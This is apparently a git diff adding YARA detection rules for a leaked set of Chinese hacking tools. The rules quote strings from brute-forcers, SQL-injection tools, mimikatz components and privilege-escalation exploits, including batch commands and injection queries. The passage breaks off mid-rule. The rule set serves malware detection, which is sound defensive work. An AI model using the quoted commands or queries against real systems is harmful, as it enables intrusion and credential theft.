+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "d5e24ba86781c332d0c99dea62f42b14e893d17e"
+    strings:
+        $s0 = "regsvr32.exe /u C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "del /F /Q C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and 1 of them
+}
+
+rule dll_Reg {
+    meta:
+        description = "Chinese Hacktool Set - file Reg.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "cb8a92fe256a3e5b869f9564ecd1aa9c5c886e3f"
+    strings:
+        $s0 = "copy PacketX.dll C:\\windows\\system32\\PacketX.dll" fullword ascii 
+        $s1 = "regsvr32.exe C:\\windows\\system32\\PacketX.dll" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sbin_squid {
+    meta:
+        description = "Chinese Hacktool Set - file squid.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8b795a8085c3e6f3d764ebcfe6d59e26fdb91969"
+    strings:
+        $s0 = "del /s /f /q" fullword ascii
+        $s1 = "squid.exe -z" fullword ascii
+        $s2 = "net start Squid" fullword ascii 
+        $s3 = "net stop Squid" fullword ascii 
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule sql1433_creck {
+    meta:
+        description = "Chinese Hacktool Set - file creck.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "189c11a3b268789a3fbcfac3bd4e03cbfde87b1d"
+    strings:
+        $s0 = "start anhao3.exe -i S.txt -p  pass3.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s1 = "start anhao1.exe -i S.txt -p  pass1.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+        $s2 = "start anhao2.exe -i S.txt -p  pass2.txt -o anhao.txt -l Them.txt -t 1000" fullword ascii 
+    condition:
+        uint16(0) == 0x7473 and filesize < 1KB and 1 of them
+}
+
+rule sql1433_Start {
+    meta:
+        description = "Chinese Hacktool Set - file Start.bat"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "bd4be10f4c3a982647b2da1a8fb2e19de34eaf01"
+    strings:
+        $s1 = "for /f \"eol=- tokens=1 delims= \" %%i in (result.txt) do echo %%i>>s1.txt" fullword ascii 
+        $s2 = "start creck.bat" fullword ascii 
+        $s3 = "del s1.txt" fullword ascii
+        $s4 = "del Result.txt" fullword ascii
+        $s5 = "del s.TXT" fullword ascii
+        $s6 = "mode con cols=48 lines=20" fullword ascii
+    condition:
+        filesize < 1KB and 2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Florian Roth/gen_cn_hacktools.yar b/yara-mikesxrs/Florian Roth/gen_cn_hacktools.yar
new file mode 100644
index 0000000..dc30634
--- /dev/null
+++ b/yara-mikesxrs/Florian Roth/gen_cn_hacktools.yar	
@@ -0,0 +1,2471 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-13
+	Identifier: CN-Tools Hacktools
+	Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+rule mswin_check_lm_group {
+	meta:
+		description = "Chinese Hacktool Set - file mswin_check_lm_group.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "115d87d7e7a3d08802a9e5fd6cd08e2ec633c367"
+	strings:
+		$s1 = "Valid_Global_Groups: checking group membership of '%s\\%s'." fullword ascii
+		$s2 = "Usage: %s [-D domain][-G][-P][-c][-d][-h]" fullword ascii
+		$s3 = "-D    default user Domain" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 380KB and all of them
+}
+
+rule WAF_Bypass {
+	meta:
+		description = "Chinese Hacktool Set - file WAF-Bypass.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "860a9d7aac2ce3a40ac54a4a0bd442c6b945fa4e"
+	strings:
+		$s1 = "Email: blacksplitn@gmail.com" fullword wide
+		$s2 = "User-Agent:" fullword wide
+		$s3 = "Send Failed.in RemoteThread" fullword ascii
+		$s4 = "www.example.com" fullword wide
+		$s5 = "Get Domain:%s IP Failed." fullword ascii
+		$s6 = "Connect To Server Failed." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 7992KB and 5 of them
+}
+
+rule Guilin_veterans_cookie_spoofing_tool {
+	meta:
+		description = "Chinese Hacktool Set - file Guilin veterans cookie spoofing tool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "06b1969bc35b2ee8d66f7ce8a2120d3016a00bb1"
+	strings:
+		$s0 = "kernel32.dll^G" fullword ascii
+		$s1 = "\\.Sus\"B" fullword ascii
+		$s4 = "u56Load3" fullword ascii
+		$s11 = "O MYTMP(iM) VALUES (" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1387KB and all of them
+}
+
+rule MarathonTool {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "084a27cd3404554cc799d0e689f65880e10b59e3"
+	strings:
+		$s0 = "MarathonTool" ascii
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+		$s18 = "SELECT UNICODE(SUBSTRING((system_user),{0},1))" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1040KB and all of them
+}
+
+rule PLUGIN_TracKid {
+	meta:
+		description = "Chinese Hacktool Set - file TracKid.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a114181b334e850d4b33e9be2794f5bb0eb59a09"
+	strings:
+		$s0 = "E-mail: cracker_prince@163.com" fullword ascii
+		$s1 = ".\\TracKid Log\\%s.txt" fullword ascii
+		$s2 = "Coded by prince" fullword ascii
+		$s3 = "TracKid.dll" fullword ascii
+		$s4 = ".\\TracKid Log" fullword ascii
+		$s5 = "%08x -- %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 3 of them
+}
+
+rule Pc_pc2015 {
+	meta:
+		description = "Chinese Hacktool Set - file pc2015.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "de4f098611ac9eece91b079050b2d0b23afe0bcb"
+	strings:
+		$s0 = "\\svchost.exe" fullword ascii
+		$s1 = "LON\\OD\\O-\\O)\\O%\\O!\\O=\\O9\\O5\\O1\\O" fullword ascii
+		$s8 = "%s%08x.001" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 309KB and all of them
+}
+
+rule sekurlsa {
+	meta:
+		description = "Chinese Hacktool Set - file sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "Format d'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur" wide
+		$s3 = "SECURITY\\Policy\\Secrets" fullword wide
+		$s4 = "Injection de donn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1150KB and all of them
+}
+
+rule mysqlfast {
+	meta:
+		description = "Chinese Hacktool Set - file mysqlfast.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "32b60350390fe7024af7b4b8fbf50f13306c546f"
+	strings:
+		$s2 = "Invalid password hash: %s" fullword ascii
+		$s3 = "-= MySql Hash Cracker =- " fullword ascii
+		$s4 = "Usage: %s hash" fullword ascii
+		$s5 = "Hash: %08lx%08lx" fullword ascii
+		$s6 = "Found pass: " fullword ascii
+		$s7 = "Pass not found" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 900KB and 4 of them
+}
+
+rule DTools2_02_DTools {
+	meta:
+		description = "Chinese Hacktool Set - file DTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "9f99771427120d09ec7afa3b21a1cb9ed720af12"
+	strings:
+		$s0 = "kernel32.dll" ascii
+		$s1 = "TSETPASSWORDFORM" fullword wide
+		$s2 = "TGETNTUSERNAMEFORM" fullword wide
+		$s3 = "TPORTFORM" fullword wide
+		$s4 = "ShellFold" fullword ascii
+		$s5 = "DefaultPHotLigh" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule dll_PacketX {
+	meta:
+		description = "Chinese Hacktool Set - file PacketX.dll - ActiveX wrapper for WinPcap packet capture library"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		score = 50
+		hash = "3f0908e0a38512d2a4fb05a824aa0f6cf3ba3b71"
+	strings:
+		$s9 = "[Failed to load winpcap packet.dll." wide
+		$s10 = "PacketX Version" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1920KB and all of them
+}
+
+rule SqlDbx_zhs {
+	meta:
+		description = "Chinese Hacktool Set - file SqlDbx_zhs.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e34228345498a48d7f529dbdffcd919da2dea414"
+	strings:
+		$s0 = "S.failed_logins \"Failed Login Attempts\", " fullword ascii
+		$s7 = "SELECT ROLE, PASSWORD_REQUIRED FROM SYS.DBA_ROLES ORDER BY ROLE" fullword ascii
+		$s8 = "SELECT spid 'SPID', status 'Status', db_name (dbid) 'Database', loginame 'Login'" ascii
+		$s9 = "bcp.exe <:schema:>.<:table:> out \"<:file:>\" -n -S <:server:> -U <:user:> -P <:" ascii
+		$s11 = "L.login_policy_name AS \"Login Policy\", " fullword ascii
+		$s12 = "mailto:support@sqldbx.com" fullword ascii
+		$s15 = "S.last_login_time \"Last Login\", " fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and 4 of them
+}
+
+rule digest_edir_auth {
+	meta:
+		description = "Chinese Hacktool Set - file digest_edir_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1dc349c91d890e3a1b897c2e8bb0ee1beeb34bd5"
+	strings:
+		$s0 = "Error reading Universal Password: %d = %s" fullword ascii
+		$s1 = "read password for binddn from file secretfile" fullword ascii
+		$s4 = "user search filter pattern. %%s = login" fullword ascii
+		$s5 = "-D binddn -w bindpasswd or -D binddn -W secretfile options" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule ms10048_x86 {
+	meta:
+		description = "Chinese Hacktool Set - file ms10048-x86.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e57b453966e4827e2effa4e153f2923e7d058702"
+	strings:
+		$s1 = "[ ] Resolving PsLookupProcessByProcessId" fullword ascii
+		$s2 = "The target is most likely patched." fullword ascii
+		$s3 = "Dojibiron by Ronald Huizer, (c) master@h4cker.us ." fullword ascii
+		$s4 = "[ ] Creating evil window" fullword ascii
+		$s5 = "%sHANDLEF_INDESTROY" fullword ascii
+		$s6 = "[+] Set to %d exploit half succeeded" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and 4 of them
+}
+
+rule Dos_ch {
+	meta:
+		description = "Chinese Hacktool Set - file ch.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "60bbb87b08af840f21536b313a76646e7c1f0ea7"
+	strings:
+		$s0 = "/Churraskito/-->Usage: Churraskito.exe \"command\" " fullword ascii
+		$s4 = "fuck,can't find WMI process PID." fullword ascii
+		$s5 = "/Churraskito/-->Found token %s " fullword ascii
+		$s8 = "wmiprvse.exe" fullword ascii
+		$s10 = "SELECT * FROM IIsWebInfo" fullword ascii
+		$s17 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 260KB and 3 of them
+}
+
+rule DUBrute_DUBrute {
+	meta:
+		description = "Chinese Hacktool Set - file DUBrute.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8aaae91791bf782c92b97c6e1b0f78fb2a9f3e65"
+	strings:
+		$s1 = "IP - %d; Login - %d; Password - %d; Combination - %d" fullword ascii
+		$s2 = "IP - 0; Login - 0; Password - 0; Combination - 0" fullword ascii
+		$s3 = "Create %d IP@Loginl;Password" fullword ascii
+		$s4 = "UBrute.com" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1020KB and all of them
+}
+
+rule CookieTools {
+	meta:
+		description = "Chinese Hacktool Set - file CookieTools.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b6a3727fe3d214f4fb03aa43fb2bc6fadc42c8be"
+	strings:
+		$s0 = "http://210.73.64.88/doorway/cgi-bin/getclientip.asp?IP=" fullword ascii
+		$s2 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s3 = "Connection Closed Gracefully.;Could not bind socket. Address and port are alread" wide
+		$s8 = "OnGetPasswordP" fullword ascii
+		$s12 = "http://www.chinesehack.org/" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 5000KB and 2 of them
+}
+
+rule update_PcInit {
+	meta:
+		description = "Chinese Hacktool Set - file PcInit.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "a6facc4453f8cd81b8c18b3b3004fa4d8e2f5344"
+	strings:
+		$s1 = "\\svchost.exe" fullword ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Global\\ps%08x" fullword ascii
+		$s4 = "drivers\\" fullword ascii /* Goodware String - occured 2 times */
+		$s5 = "StrStrA" fullword ascii /* Goodware String - occured 43 times */
+		$s6 = "StrToIntA" fullword ascii /* Goodware String - occured 44 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of them
+}
+
+rule dat_NaslLib {
+	meta:
+		description = "Chinese Hacktool Set - file NaslLib.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "fb0d4263118faaeed2d68e12fab24c59953e862d"
+	strings:
+		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
+		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
+		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1360KB and all of them
+}
+
+rule Dos_1 {
+	meta:
+		description = "Chinese Hacktool Set - file 1.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
+	strings:
+		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
+		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule OtherTools_servu {
+	meta:
+		description = "Chinese Hacktool Set - file svu.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "5c64e6879a9746a0d65226706e0edc7a"
+	strings:
+		$s0 = "MZKERNEL32.DLL" fullword ascii
+		$s1 = "UpackByDwing@" fullword ascii
+		$s2 = "GetProcAddress" fullword ascii
+		$s3 = "WriteFile" fullword ascii
+	condition:
+		$s0 at 0 and filesize < 50KB and all of them
+}
+
+rule ncsa_auth {
+	meta:
+		description = "Chinese Hacktool Set - file ncsa_auth.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d87c984107adc3921720f4c76608dc6ed68b2d84"
+	strings:
+		$s0 = "Usage: ncsa_auth <passwordfile>" fullword ascii
+		$s1 = "ERR Wrong password" fullword ascii
+		$s2 = "ERR No such user" fullword ascii
+		$s6 = "ncsa_auth: cannot create hash table" fullword ascii
+		$s20 = "(%d) %s" fullword ascii /* Goodware String - occured 11 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 440KB and all of them
+}
+
+rule ustrrefadd {
+	meta:
+		description = "Chinese Hacktool Set - file ustrrefadd.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
+	strings:
+		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
+		$s1 = "Homepage: http://www.luocong.com" fullword ascii
+		$s2 = ": %d  -  " fullword ascii
+		$s3 = "ustrreffix.dll" fullword ascii
+		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 320KB and all of them
+}
+
+rule XScanLib {
+	meta:
+		description = "Chinese Hacktool Set - file XScanLib.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
+	strings:
+		$s4 = "XScanLib.dll" fullword ascii
+		$s6 = "Ports/%s/%d" fullword ascii
+		$s8 = "DEFAULT-TCP-PORT" fullword ascii
+		$s9 = "PlugCheckTcpPort" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 360KB and all of them
+}
+
+rule IDTools_For_WinXP_IdtTool {
+	meta:
+		description = "Chinese Hacktool Set - file IdtTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
+	strings:
+		$s2 = "IdtTool.sys" fullword ascii
+		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
+		$s6 = "\\\\.\\slIdtTool" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 25KB and all of them
+}
+
+rule GoodToolset_ms11046 {
+	meta:
+		description = "Chinese Hacktool Set - file ms11046.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
+	strings:
+		$s1 = "[*] Token system command" fullword ascii
+		$s2 = "[*] command add user 90sec 90sec" fullword ascii
+		$s3 = "[*] Add to Administrators success" fullword ascii
+		$s4 = "[*] User has been successfully added" fullword ascii
+		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii  /* Goodware String - occured 3 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 840KB and 2 of them
+}
+
+rule Cmdshell32 {
+	meta:
+		description = "Chinese Hacktool Set - file Cmdshell32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
+	strings:
+		$s1 = "cmdshell.exe" fullword wide
+		$s2 = "cmdshell" fullword ascii
+		$s3 = "[Root@CmdShell ~]#" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 62KB and all of them
+}
+
+rule Sniffer_analyzer_SSClone_1210_full_version {
+	meta:
+		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
+	strings:
+		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
+		$s1 = "GetConnectString" fullword ascii
+		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
+		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 3580KB and all of them
+}
+
+rule x64_klock {
+	meta:
+		description = "Chinese Hacktool Set - file klock.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+	strings:
+		$s1 = "Bienvenue dans un processus distant" fullword wide
+		$s2 = "klock.dll" fullword ascii
+		$s3 = "Erreur : le bureau courant (" fullword wide
+		$s4 = "klock de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 907KB and all of them
+}
+
+rule Dos_Down32 {
+	meta:
+		description = "Chinese Hacktool Set - file Down32.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0365738acd728021b0ea2967c867f1014fd7dd75"
+	strings:
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s6 = "down.exe" fullword wide
+		$s15 = "get_Form1" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 137KB and all of them
+}
+
+rule MarathonTool_2 {
+	meta:
+		description = "Chinese Hacktool Set - file MarathonTool.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "75b5d25cdaa6a035981e5a33198fef0117c27c9c"
+	strings:
+		$s3 = "http://localhost/retomysql/pista.aspx?id_pista=1" fullword wide
+		$s6 = "SELECT ASCII(SUBSTR(username,{0},1)) FROM USER_USERS" fullword wide
+		$s17 = "/Blind SQL injection tool based in heavy queries" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule Tools_termsrv {
+	meta:
+		description = "Chinese Hacktool Set - file termsrv.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "294a693d252f8f4c85ad92ee8c618cebd94ef247"
+	strings:
+		$s1 = "Iv\\SmSsWinStationApiPort" fullword ascii
+		$s2 = " TSInternetUser " fullword wide
+		$s3 = "KvInterlockedCompareExchange" fullword ascii
+		$s4 = " WINS/DNS " fullword wide
+		$s5 = "winerror=%1" fullword wide
+		$s6 = "TermService " fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1150KB and all of them
+}
+
+rule scanms_scanms {
+	meta:
+		description = "Chinese Hacktool Set - file scanms.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "47787dee6ddea2cb44ff27b6a5fd729273cea51a"
+	strings:
+		$s1 = "--- ScanMs Tool --- (c) 2003 Internet Security Systems ---" fullword ascii
+		$s2 = "Scans for systems vulnerable to MS03-026 vuln" fullword ascii
+		$s3 = "More accurate for WinXP/Win2k, less accurate for WinNT" fullword ascii /* PEStudio Blacklist: os */
+		$s4 = "added %d.%d.%d.%d-%d.%d.%d.%d" fullword ascii
+		$s5 = "Internet Explorer 1.0" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and 3 of them
+}
+
+rule CN_Tools_PcShare {
+	meta:
+		description = "Chinese Hacktool Set - file PcShare.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "ee7ba9784fae413d644cdf5a093bd93b73537652"
+	strings:
+		$s0 = "title=%s%s-%s;id=%s;hwnd=%d;mainhwnd=%d;mainprocess=%d;cmd=%d;" fullword wide
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" fullword wide
+		$s2 = "http://www.pcshares.cn/pcshare200/lostpass.asp" fullword wide
+		$s5 = "port=%s;name=%s;pass=%s;" fullword wide
+		$s16 = "%s\\ini\\*.dat" fullword wide
+		$s17 = "pcinit.exe" fullword wide
+		$s18 = "http://www.pcshare.cn" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 6000KB and 3 of them
+}
+
+rule pw_inspector {
+	meta:
+		description = "Chinese Hacktool Set - file pw-inspector.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4f8e3e101098fc3da65ed06117b3cb73c0a66215"
+	strings:
+		$s1 = "-m MINLEN  minimum length of a valid password" fullword ascii
+		$s2 = "http://www.thc.org" fullword ascii
+		$s3 = "Use for hacking: trim your dictionary file to the pw requirements of the target." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 460KB and all of them
+}
+
+rule Dll_LoadEx {
+	meta:
+		description = "Chinese Hacktool Set - file Dll_LoadEx.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "213d9d0afb22fe723ff570cf69ff8cdb33ada150"
+	strings:
+		$s0 = "WiNrOOt@126.com" fullword wide
+		$s1 = "Dll_LoadEx.EXE" fullword wide
+		$s3 = "You Already Loaded This DLL ! :(" fullword ascii
+		$s10 = "Dll_LoadEx Microsoft " fullword wide
+		$s17 = "Can't Load This Dll ! :(" fullword ascii
+		$s18 = "WiNrOOt" fullword wide
+		$s20 = " Dll_LoadEx(&A)..." fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 120KB and 3 of them
+}
+
+rule dat_report {
+	meta:
+		description = "Chinese Hacktool Set - file report.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "4582a7c1d499bb96dad8e9b227e9d5de9becdfc2"
+	strings:
+		$s1 = "<a href=\"http://www.xfocus.net\">X-Scan</a>" fullword ascii
+		$s2 = "REPORT-ANALYSIS-OF-HOST" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 480KB and all of them
+}
+
+rule Dos_iis7 {
+	meta:
+		description = "Chinese Hacktool Set - file iis7.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "0a173c5ece2fd4ac8ecf9510e48e95f43ab68978"
+	strings:
+		$s0 = "\\\\localhost" fullword ascii
+		$s1 = "iis.run" fullword ascii
+		$s3 = ">Could not connecto %s" fullword ascii
+		$s5 = "WHOAMI" ascii
+		$s13 = "WinSta0\\Default" fullword ascii  /* Goodware String - occured 22 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 140KB and all of them
+}
+
+rule SwitchSniffer {
+	meta:
+		description = "Chinese Hacktool Set - file SwitchSniffer.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1e7507162154f67dff4417f1f5d18b4ade5cf0cd"
+	strings:
+		$s0 = "NextSecurity.NET" fullword wide
+		$s2 = "SwitchSniffer Setup" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and all of them
+}
+
+rule dbexpora {
+	meta:
+		description = "Chinese Hacktool Set - file dbexpora.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "b55b007ef091b2f33f7042814614564625a8c79f"
+	strings:
+		$s0 = "SELECT A.USER FROM SYS.USER_USERS A " fullword ascii
+		$s12 = "OCI 8 - OCIDescriptorFree" fullword ascii
+		$s13 = "ORACommand *" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 835KB and all of them
+}
+
+rule SQLCracker {
+	meta:
+		description = "Chinese Hacktool Set - file SQLCracker.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "1aa5755da1a9b050c4c49fc5c58fa133b8380410"
+	strings:
+		$s0 = "msvbvm60.dll" fullword ascii /* reversed goodware string 'lld.06mvbvsm' */
+		$s1 = "_CIcos" fullword ascii
+		$s2 = "kernel32.dll" fullword ascii
+		$s3 = "cKmhV" fullword ascii
+		$s4 = "080404B0" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 125KB and all of them
+}
+
+rule FreeVersion_debug {
+	meta:
+		description = "Chinese Hacktool Set - file debug.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "d11e6c6f675b3be86e37e50184dadf0081506a89"
+	strings:
+		$s0 = "c:\\Documents and Settings\\Administrator\\" fullword ascii
+		$s1 = "Got WMI process Pid: %d" ascii
+		$s2 = "This exploit will execute" ascii
+		$s6 = "Found token %s " ascii
+		$s7 = "Running reverse shell" ascii
+		$s10 = "wmiprvse.exe" fullword ascii
+		$s12 = "SELECT * FROM IIsWebInfo" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 820KB and 3 of them
+}
+
+rule Dos_look {
+	meta:
+		description = "Chinese Hacktool Set - file look.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "e1a37f31170e812185cf00a838835ee59b8f64ba"
+	strings:
+		$s1 = "<description>CHKen QQ:41901298</description>" fullword ascii
+		$s2 = "version=\"9.9.9.9\"" fullword ascii
+		$s3 = "name=\"CH.Ken.Tool\"" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 40KB and all of them
+}
+
+rule NtGodMode {
+	meta:
+		description = "Chinese Hacktool Set - file NtGodMode.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "8baac735e37523d28fdb6e736d03c67274f7db77"
+	strings:
+		$s0 = "to HOST!" fullword ascii
+		$s1 = "SS.EXE" fullword ascii
